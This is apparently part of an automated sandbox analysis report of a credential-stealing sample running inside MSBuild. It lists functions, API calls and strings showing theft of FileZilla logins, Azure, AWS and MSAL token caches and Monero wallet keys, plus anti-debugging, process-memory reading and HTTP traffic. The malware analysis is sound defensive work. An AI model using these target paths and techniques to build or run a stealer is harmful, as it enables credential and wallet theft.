??2@YAPAXI@Z.MSVCRT(00000800), ref: 004047EA
??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404801
??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404818
InternetCrackUrlA.WININET(00000000,00000000), ref: 00404849

Strings

<, xrefs: 004047C9

Memory Dump Source

Source File: 00000003.00000002.2143899028.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: ??2@$CrackInternet
String ID: <
API String ID: 676793843-4251816714
Opcode ID: c386c9d0d73067ea41f4377aeaa2fd448281082c22fa9440fc98d6664c6993a8
Instruction ID: 59ffd934fb977a93d501bba2862ecb1df6a0defd032b503e5e890a78b3955a81
Opcode Fuzzy Hash: c386c9d0d73067ea41f4377aeaa2fd448281082c22fa9440fc98d6664c6993a8
Instruction Fuzzy Hash: 712149B5D00219ABDF10DFA5E849BDD7B74FF04320F008229F925A7290EB706A15CF95

Function 00419860 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 212
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE(?,?,00416A00), ref: 00419A9A
LoadLibraryA.KERNELBASE(?,?,00416A00), ref: 00419AAB
LoadLibraryA.KERNELBASE(?,?,00416A00), ref: 00419ACF

Strings

NtQueryInformationProcess, xrefs: 00419BAA

Memory Dump Source

Source File: 00000003.00000002.2143899028.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 1029625771-2781105232
Opcode ID: 5241b63200b37b02610696a8d235fc94b134fee8225fd0051d7d8784b632fee7
Instruction ID: 20ebc6b46c949eaa7f25e90fb8197bb2e58582eade08509f86bd82c1d7e4afd5
Opcode Fuzzy Hash: 5241b63200b37b02610696a8d235fc94b134fee8225fd0051d7d8784b632fee7
Instruction Fuzzy Hash: 55A14DBD5C4240BFE354EFE8ED889963BFBF74E301704661AE605C3264D639A841DB12

Function 004117A0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 160
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(00000000), ref: 004117D1
strtok_s.MSVCRT ref: 004117E8
strtok_s.MSVCRT ref: 004119A8

Strings

block, xrefs: 004117B7

Memory Dump Source

Source File: 00000003.00000002.2143899028.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: strtok_s$ExitProcess
String ID: block
API String ID: 762877946-2199623458
Opcode ID: 04f02f922f7740013fe83ed2a8f854d15328f230cbde421a22dc870209397cee
Instruction ID: 00bb13bb87ecd4f31d5cbb7361e66ee12f2c4d363b15aa8138e6c51e0cba8311
Opcode Fuzzy Hash: 04f02f922f7740013fe83ed2a8f854d15328f230cbde421a22dc870209397cee
Instruction Fuzzy Hash: AC517DB4A10209EFCB04DFA1D954BFE77B6BF44304F10804AE516A7361D778E992CB6A

Function 00417500 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 106
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVolumeInformationA.KERNELBASE(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041757F

Strings

C, xrefs: 0041754C
:, xrefs: 0041755C
\, xrefs: 00417560

Memory Dump Source

Source File: 00000003.00000002.2143899028.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: InformationVolume
String ID: :$C$\
API String ID: 2039140958-3809124531
Opcode ID: ed3ca360dd794ca93df171aa1d69aa55e8069c6d35c7c4129d84d5da30dc5272
Instruction ID: 2fa5a76c25c4840d12821100fc964cf287d391274576238511e757cc0c078ff1
Opcode Fuzzy Hash: ed3ca360dd794ca93df171aa1d69aa55e8069c6d35c7c4129d84d5da30dc5272
Instruction Fuzzy Hash: BF41A2B5D44248ABDB10DF94DC45BEEBBB9EF08714F10019DF50967280D778AA84CBA9

Function 00401220 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNELBASE(00000040,?,00000000,00000040), ref: 0040123E
__aulldiv.LIBCMT ref: 00401258
__aulldiv.LIBCMT ref: 00401266

Strings

@, xrefs: 00401233

Memory Dump Source

Source File: 00000003.00000002.2143899028.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: __aulldiv$GlobalMemoryStatus
String ID: @
API String ID: 2185283323-2766056989
Opcode ID: e3d9931386e0fa91028f4e7641da7fda79c4023127bcc5196728e9d9e144d5c4
Instruction ID: f2ded3d157cb35307e0b39d430c96622be3dd75f8d5744ac0086d878f352425a
Opcode Fuzzy Hash: e3d9931386e0fa91028f4e7641da7fda79c4023127bcc5196728e9d9e144d5c4
Instruction Fuzzy Hash: 5901FBB0D84308BAEB10DBE4DC49B9EBB78AB15705F20809EE705B62D0D6785585879D

Function 004169F0 Relevance: 1.6, APIs: 1, Instructions: 94
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00401160: GetSystemInfo.KERNELBASE(?,?,?,?,?,?,?,?,?,00416A17,00420AEF), ref: 0040116A

Part of subcall function 00401110: VirtualAllocExNuma.KERNELBASE(00000000,?,?,00416A1C), ref: 00401132

Part of subcall function 00401220: GlobalMemoryStatusEx.KERNELBASE(00000040,?,00000000,00000040), ref: 0040123E
Part of subcall function 00401220: __aulldiv.LIBCMT ref: 00401258
Part of subcall function 00401220: __aulldiv.LIBCMT ref: 00401266

GetUserDefaultLCID.KERNELBASE ref: 00416A26

Part of subcall function 00417850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041789F

Part of subcall function 004178E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0041792F

Memory Dump Source

Source File: 00000003.00000002.2143899028.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: NameUser__aulldiv$AllocComputerDefaultGlobalInfoMemoryNumaStatusSystemVirtual
String ID:
API String ID: 3178950686-0
Opcode ID: 89bd8792c9ea463fe5cd0678b04f38b1ba409c67d9b77676339e57910a337a73
Instruction ID: 00249ead6714b3af85de48d5768f0cff66b99727dd84f15ff7ce73ce32af2852
Opcode Fuzzy Hash: 89bd8792c9ea463fe5cd0678b04f38b1ba409c67d9b77676339e57910a337a73
Instruction Fuzzy Hash: 63316175940208AADB04FBF2DC56BEE7339AF04354F10452EF102A61D2DF7C6996C6AE

Function 004178E0 Relevance: 1.5, APIs: 1, Instructions: 40COMMON

Download Yara Rule

APIs

GetComputerNameA.KERNEL32(?,00000104), ref: 0041792F

Memory Dump Source

Source File: 00000003.00000002.2143899028.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: ComputerName
String ID:
API String ID: 3545744682-0
Opcode ID: 655548885853275668edecfa1cfdfba2d4285fba1d09bdc7eb36c2d1d55ec877
Instruction ID: 452d18c19ae851532a1d010ea63a4611fd0250a2e86211d30d2d96ca9096ca29
Opcode Fuzzy Hash: 655548885853275668edecfa1cfdfba2d4285fba1d09bdc7eb36c2d1d55ec877
Instruction Fuzzy Hash: 220186F1A48204EFD700DF94DD45BAABBB8FB05B11F10425AF545E3280C37859448BA6

Function 00401110 Relevance: 1.5, APIs: 1, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

VirtualAllocExNuma.KERNELBASE(00000000,?,?,00416A1C), ref: 00401132

Memory Dump Source

Source File: 00000003.00000002.2143899028.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: AllocNumaVirtual
String ID:
API String ID: 4233825816-0
Opcode ID: 3cbd8cc13bf7dc70ab035dff78f9dd202cda3002ce084c09b8f89ce2de56700b
Instruction ID: 516f97497d3ee46bc55051264f2a31c9d8efacdbd59bd60d04d859dfb32d17c4
Opcode Fuzzy Hash: 3cbd8cc13bf7dc70ab035dff78f9dd202cda3002ce084c09b8f89ce2de56700b
Instruction Fuzzy Hash: 76E08674985308FFE7106BE09C0AB0976B9EB05B05F101055F7087A1D0C6B826009699

Function 004010A0 Relevance: 1.3, APIs: 1, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,17C841C0,00003000,00000004,?,?,?,0040114E,?,?,00416A1C), ref: 004010B3

Memory Dump Source

Source File: 00000003.00000002.2143899028.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 8ce35272a596f1cdf5aa55b7e6bb44489e409ba54c945097ad2cb9ba566d6231
Instruction ID: e05e9ea69c75ff17789b13d2c0695db9e8f3777892ad192db41722de5b6306ee
Opcode Fuzzy Hash: 8ce35272a596f1cdf5aa55b7e6bb44489e409ba54c945097ad2cb9ba566d6231
Instruction Fuzzy Hash: F2F052B1681208BBE7109BA4AC49FABB3E8E305B14F301408F500E3380C5319E00CAA4

Non-executed Functions

Function 0041B33A Relevance: 7.6, APIs: 5, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 0041BBA2
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0041BBB7
UnhandledExceptionFilter.KERNEL32(0041F2A8), ref: 0041BBC2
GetCurrentProcess.KERNEL32(C0000409), ref: 0041BBDE
TerminateProcess.KERNEL32(00000000), ref: 0041BBE5

Memory Dump Source

Source File: 00000003.00000002.2143899028.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 1cd9910441f070b69687b64f652d04a4c8002016f1137d447a2cc91201b04508
Instruction ID: 2759986af63cf1bc905e0f8428f5e2b998159022a12c47e0d709fe691c65c3be
Opcode Fuzzy Hash: 1cd9910441f070b69687b64f652d04a4c8002016f1137d447a2cc91201b04508
Instruction Fuzzy Hash: E921A3BC9002059FDB10DF69FD89A963BE4FB0A314F50403AE90A87264DBB45981EF4D

Function 00410250 Relevance: 26.6, APIs: 3, Strings: 12, Instructions: 363stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 0041031B
memset.MSVCRT ref: 004106DD

Part of subcall function 004188E0: malloc.MSVCRT ref: 004188E8
Part of subcall function 004188E0: strncpy.MSVCRT ref: 00418903

strtok_s.MSVCRT ref: 00410679

Strings

login: , xrefs: 004105CA
browser: FileZilla, xrefs: 00410559
url: , xrefs: 00410577
password: , xrefs: 004105FB
<User>, xrefs: 00410410
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 004102A4
<Host>, xrefs: 0041037C
<Port>, xrefs: 004103C6
NA, xrefs: 004102CC, 004102F2, 004102CF, 004102F5
<Pass encoding="base64">, xrefs: 0041045A
profile: null, xrefs: 00410568
NA, xrefs: 0041072E, 004106AF, 004106B2

Memory Dump Source

Source File: 00000003.00000002.2143899028.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: strtok_s$mallocmemsetstrncpy
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$NA$NA$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 2676359353-514892060
Opcode ID: 5617bd6bc83757f25327082bfbfb60fa8d0a6348b7b524702c500f70768eef60
Instruction ID: d15eb70b6d553ab1cc94bc99ca27928082ec116ada4a7d19c18b432e65637ade
Opcode Fuzzy Hash: 5617bd6bc83757f25327082bfbfb60fa8d0a6348b7b524702c500f70768eef60
Instruction Fuzzy Hash: 86D16D75A41208ABCB04FBF1DD86EEE7379FF14314F50441EF102A6091DE78AA96CB69

Function 00410A60 Relevance: 23.0, APIs: 12, Strings: 1, Instructions: 205stringprocesssynchronizationCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00410C1C
lstrcatA.KERNEL32(?,00000000), ref: 00410C35
lstrcatA.KERNEL32(?,00420D7C), ref: 00410C47
lstrcatA.KERNEL32(?,00000000), ref: 00410C5D
lstrcatA.KERNEL32(?,00420D80), ref: 00410C6F
lstrcatA.KERNEL32(?,00000000), ref: 00410C88
lstrcatA.KERNEL32(?,00420D84), ref: 00410C9A
lstrlenA.KERNEL32(?), ref: 00410CA7
memset.MSVCRT ref: 00410CCD
memset.MSVCRT ref: 00410CE1
CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000001,00000020,00000000,00000000,?,?,00000000,?,00420D88,?,00000000), ref: 00410D5A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 00410D66

Strings

.exe, xrefs: 00410A95

Memory Dump Source

Source File: 00000003.00000002.2143899028.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$memset$CreateObjectProcessSingleWaitlstrlen
String ID: .exe
API String ID: 2214552867-4119554291
Opcode ID: 6364e5e739fe9739766a1ce8d8c7e5a183e8e2bdcb2e6e6671a0d6d634042010
Instruction ID: 8c4414bd7b792449c86a3c64e171a12ac7102eaeec46e1acf96b3d3d4dd6cf75
Opcode Fuzzy Hash: 6364e5e739fe9739766a1ce8d8c7e5a183e8e2bdcb2e6e6671a0d6d634042010
Instruction Fuzzy Hash: A78194B55111186BCB14FBA1CD52FEE7338AF44308F40419EB30A66082DE786AD9CF6E

Function 00414D70 Relevance: 21.1, APIs: 4, Strings: 10, Instructions: 119COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00414D87
memset.MSVCRT ref: 00414E13
memset.MSVCRT ref: 00414E9F
memset.MSVCRT ref: 00414F2B

Strings

\.azure\, xrefs: 00414DC1
*.*, xrefs: 00414DD8
Azure\.aws, xrefs: 00414E5F
Azure\.azure, xrefs: 00414DD3
Azure\.IdentityService, xrefs: 00414EEB
\.IdentityService\, xrefs: 00414ED9
zaA, xrefs: 00414DF1, 00414E7D, 00414F09, 00414F34, 00414DF4, 00414E80, 00414F0C
\.aws\, xrefs: 00414E4D
*.*, xrefs: 00414E64
msal.cache, xrefs: 00414EF0

Memory Dump Source

Source File: 00000003.00000002.2143899028.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: memset
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache$zaA
API String ID: 2221118986-156832076
Opcode ID: 63500b277e5d8c6ba40ed9413d1edfa83572fad66260e383529a6b6b95d2c298
Instruction ID: 18812f4626155d1e2a42465cb68794f5c6847905bec5d07e7ac1139e0e5490f3
Opcode Fuzzy Hash: 63500b277e5d8c6ba40ed9413d1edfa83572fad66260e383529a6b6b95d2c298
Instruction Fuzzy Hash: 3141D6B9A4031467C710F7B0EC47FDD3738AB64704F404459B645660C2EEB897D98B9A

Function 004170D0 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 136COMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT(00064000), ref: 004170DE
OpenProcess.KERNEL32(001FFFFF,00000000,0041730D,004205BD), ref: 0041711C
memset.MSVCRT ref: 0041716A
??_V@YAXPAX@Z.MSVCRT(?), ref: 004172BE

Strings

65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 0041718C
sA, xrefs: 004172AE, 00417179, 0041717C
sA, xrefs: 00417111

Memory Dump Source

Source File: 00000003.00000002.2143899028.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: OpenProcessmemset
String ID: sA$sA$65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 1606381396-2614523144
Opcode ID: a73ac6e1bb2c91b578430d02177e5a2f8beb51943881740cc90b8311f986bdaf
Instruction ID: ffe5c4151d56689e238fca5affca6521033e0b5082b25a646ea50ffb364ad3ac
Opcode Fuzzy Hash: a73ac6e1bb2c91b578430d02177e5a2f8beb51943881740cc90b8311f986bdaf
Instruction Fuzzy Hash: 71515FB0D04218ABDB14EB91DD85BEEB774AF04304F1040AEE61576281EB786AC9CF5D

Function 004138B0 Relevance: 12.5, APIs: 1, Strings: 6, Instructions: 250COMMON

Download Yara Rule

Strings

%s\*, xrefs: 004138C0
%s\%s\%s, xrefs: 00413A4A
%s\%s, xrefs: 0041397A
%s%s, xrefs: 00413AAD
!=A, xrefs: 00413C82, 00413C45, 00413B69, 00413909, 00413B6C, 00413C48
%s\%s, xrefs: 00413A6F

Memory Dump Source

Source File: 00000003.00000002.2143899028.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID:
String ID: !=A$%s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 0-817767981
Opcode ID: c3ad0e5f37a6afd264e19c98f003c489031be70fef7a74d9d5741692706db697
Instruction ID: 6b32dcbabd2ae606338a05af88a65253e6d0136fcb4401239c8972690a9ca057
Opcode Fuzzy Hash: c3ad0e5f37a6afd264e19c98f003c489031be70fef7a74d9d5741692706db697
Instruction Fuzzy Hash: 45A182B5A40218ABDB20DFA4DC85FEA7379BF45301F04458DB50D96181EB789B84CF66

Function 00405960 Relevance: 11.0, APIs: 2, Strings: 5, Instructions: 493COMMON

Download Yara Rule

APIs

Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 004047EA
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404801
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404818
Part of subcall function 004047B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404849

memcpy.MSVCRT(?,00000000,00000000), ref: 00405EC6
memcpy.MSVCRT(?), ref: 00405EFE

Strings

", xrefs: 00405CD5
", xrefs: 00405E16
------, xrefs: 00405D4C
------, xrefs: 00405C0B
------, xrefs: 00405A96

Memory Dump Source

Source File: 00000003.00000002.2143899028.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: ??2@$memcpy$CrackInternet
String ID: "$"$------$------$------
API String ID: 4271525049-2180234286
Opcode ID: 4205a6c64491eede6f2c0190817c01b6d1188d899bee5cc8d5380a99dbe7c93c
Instruction ID: 7b5b204680124ce1d4beb717fdfef1c68a0c63715f2d18b0248442adb904f056
Opcode Fuzzy Hash: 4205a6c64491eede6f2c0190817c01b6d1188d899bee5cc8d5380a99dbe7c93c
Instruction Fuzzy Hash: 20124071821118ABCB15FBA1DC95FEEB378BF14314F50419EB10A62091DF782B9ACF69

Function 00409E10 Relevance: 10.7, APIs: 3, Strings: 4, Instructions: 167COMMON

Download Yara Rule

APIs

memcmp.MSVCRT(?,v20,00000003), ref: 00409E2D

Part of subcall function 00410A60: memset.MSVCRT ref: 00410C1C
Part of subcall function 00410A60: lstrcatA.KERNEL32(?,00000000), ref: 00410C35
Part of subcall function 00410A60: lstrcatA.KERNEL32(?,00420D7C), ref: 00410C47
Part of subcall function 00410A60: lstrcatA.KERNEL32(?,00000000), ref: 00410C5D
Part of subcall function 00410A60: lstrcatA.KERNEL32(?,00420D80), ref: 00410C6F

memcmp.MSVCRT(?,v10,00000003), ref: 00409EAF
memset.MSVCRT ref: 00409EE8

Strings

@, xrefs: 00409EF1
ERROR_RUN_EXTRACTOR, xrefs: 00409E67
v10, xrefs: 00409EA3
v20, xrefs: 00409E21

Memory Dump Source

Source File: 00000003.00000002.2143899028.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$memcmpmemset
String ID: @$ERROR_RUN_EXTRACTOR$v10$v20
API String ID: 1976689032-1096346117
Opcode ID: cf3bd8b6a91d7380b4fcfdc4a2eaf8d3038d72e2fe7c69aa23c32b41aba9b41f
Instruction ID: cfc602575c7eb8b90e75612a825b183f0a0020e5ceb1952e76b28d7f8d83ce04
Opcode Fuzzy Hash: cf3bd8b6a91d7380b4fcfdc4a2eaf8d3038d72e2fe7c69aa23c32b41aba9b41f
Instruction Fuzzy Hash: C9615F30A00248EBCB24EFA5DD96FED7775AF44304F408029F90A6F1D1DB786A56CB5A

Function 00401310 Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 139COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00401327
memset.MSVCRT ref: 00401516

Strings

SOFTWARE\monero-project\monero-core, xrefs: 00401335
wallet_path, xrefs: 00401330
\Monero\wallet.keys, xrefs: 0040138D
.keys, xrefs: 0040136B

Memory Dump Source

Source File: 00000003.00000002.2143899028.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: memset
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 2221118986-218353709
Opcode ID: a32f2aae1de9b97ae466325f1f020e6fdbbafcfcec33de046a9004802322f3a2
Instruction ID: 674d48b949cffd92695f0a4f51b6d393b2dd06dcaa63b8f6d50fb5eb71b8da29
Opcode Fuzzy Hash: a32f2aae1de9b97ae466325f1f020e6fdbbafcfcec33de046a9004802322f3a2
Instruction Fuzzy Hash: AA5164B195011897CB15FB61DD91BED733CAF54304F4041ADB60A62091EE385BDACBAA

Function 004152C0 Relevance: 9.1, APIs: 1, Strings: 5, Instructions: 138stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00406280: InternetOpenA.WININET(00420DFE,00000001,00000000,00000000,00000000,00420DFB), ref: 004062E1
Part of subcall function 00406280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406335
Part of subcall function 00406280: HttpOpenRequestA.WININET(00000000,GET,?,?,00000000,00000000,00400100,00000000), ref: 00406385
Part of subcall function 00406280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 004063D1

strtok.MSVCRT(00000000,?), ref: 0041539E

Strings

ERROR, xrefs: 004154A9
ERROR, xrefs: 00415432
ERROR, xrefs: 0041546F
ERROR, xrefs: 0041530A
ERROR, xrefs: 004153B9

Memory Dump Source

Source File: 00000003.00000002.2143899028.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: HttpInternetOpenRequest$ConnectSendstrtok
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 1208788097-1526165396
Opcode ID: 4a2ea036609cd15b672270c35ab07a18dfd7f62b3a06473966441f12aab465d2
Instruction ID: 2e955e57ea7f1c083e6e45f715f374ff83ee784ca3e0e9be4ff8c8b21657e330
Opcode Fuzzy Hash: 4a2ea036609cd15b672270c35ab07a18dfd7f62b3a06473966441f12aab465d2
Instruction Fuzzy Hash: 1A514130911108EBCB14FF61CD92AED7779AF50358F50402EF80A6B591DF386B96CB6A

Function 0041B38C Relevance: 9.1, APIs: 6, Instructions: 98COMMONLIBRARYCODE

Download Yara Rule

APIs

__lock.LIBCMT ref: 0041B39A

Part of subcall function 0041AFAC: __mtinitlocknum.LIBCMT ref: 0041AFC2
Part of subcall function 0041AFAC: __amsg_exit.LIBCMT ref: 0041AFCE
Part of subcall function 0041AFAC: EnterCriticalSection.KERNEL32(?,?,?,0041AC60,0000000E,0042A0F8,0000000C,0041AC2A), ref: 0041AFD6

DecodePointer.KERNEL32(0042A138,00000020,0041B4DD,?,00000001,00000000,?,0041B4FF,000000FF,?,0041AFD3,00000011,?,?,0041AC60,0000000E), ref: 0041B3D6
DecodePointer.KERNEL32(?,0041B4FF,000000FF,?,0041AFD3,00000011,?,?,0041AC60,0000000E,0042A0F8,0000000C,0041AC2A), ref: 0041B3E7

Part of subcall function 0041BE35: EncodePointer.KERNEL32(00000000,0041C063,004495B8,00000314,00000000,?,?,?,?,?,0041B707,004495B8,Microsoft Visual C++ Runtime Library,00012010), ref: 0041BE37

DecodePointer.KERNEL32(-00000004,?,0041B4FF,000000FF,?,0041AFD3,00000011,?,?,0041AC60,0000000E,0042A0F8,0000000C,0041AC2A), ref: 0041B40D
DecodePointer.KERNEL32(?,0041B4FF,000000FF,?,0041AFD3,00000011,?,?,0041AC60,0000000E,0042A0F8,0000000C,0041AC2A), ref: 0041B420
DecodePointer.KERNEL32(?,0041B4FF,000000FF,?,0041AFD3,00000011,?,?,0041AC60,0000000E,0042A0F8,0000000C,0041AC2A), ref: 0041B42A

Memory Dump Source

Source File: 00000003.00000002.2143899028.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Pointer$Decode$CriticalEncodeEnterSection__amsg_exit__lock__mtinitlocknum
String ID:
API String ID: 2005412495-0
Opcode ID: 430bce5bb079d1d45eb37588782b3a2619b50b5e0611126e08e4fa3877c2895d
Instruction ID: fa90de3286715eaa6817e9c79d9293911763414a7997c4368e9d4f64dee3ff46
Opcode Fuzzy Hash: 430bce5bb079d1d45eb37588782b3a2619b50b5e0611126e08e4fa3877c2895d
Instruction Fuzzy Hash: A5314874900309DFDF109FA9C9452DEBAF1FF48314F10802BE454A6262CBB94891DFAE

Function 0041C9DE Relevance: 9.0, APIs: 6, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0041C9EA

Part of subcall function 0041BF9F: __getptd_noexit.LIBCMT ref: 0041BFA2
Part of subcall function 0041BF9F: __amsg_exit.LIBCMT ref: 0041BFAF

__amsg_exit.LIBCMT ref: 0041CA0A
__lock.LIBCMT ref: 0041CA1A
InterlockedDecrement.KERNEL32(?), ref: 0041CA37
free.MSVCRT ref: 0041CA4A
InterlockedIncrement.KERNEL32(0042B558), ref: 0041CA62

Memory Dump Source

Source File: 00000003.00000002.2143899028.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lockfree
String ID:
API String ID: 634100517-0
Opcode ID: 89c3f3603ea426d8c1dcae7c91f98695ae5431033bc18fad3d55e9ead8607d02
Instruction ID: 84b4572ca590114782b091576b9a89d8360325c6110713fe167f1eb626e4287d
Opcode Fuzzy Hash: 89c3f3603ea426d8c1dcae7c91f98695ae5431033bc18fad3d55e9ead8607d02
Instruction Fuzzy Hash: 5801C431A817299BC722EB669C857DE77A0BF04794F01811BE81467390C72C69D2CBDD

Function 00416F00 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 156stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00416F1F
??_U@YAPAXI@Z.MSVCRT(00000000,?,?,?,?,?,?,?,?,0041719A,00000000,65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30,00000000,00000000), ref: 00416F4D

Part of subcall function 00416BD0: strlen.MSVCRT ref: 00416BE1
Part of subcall function 00416BD0: strlen.MSVCRT ref: 00416C05

VirtualQueryEx.KERNEL32(?,00000000,?,0000001C), ref: 00416F92
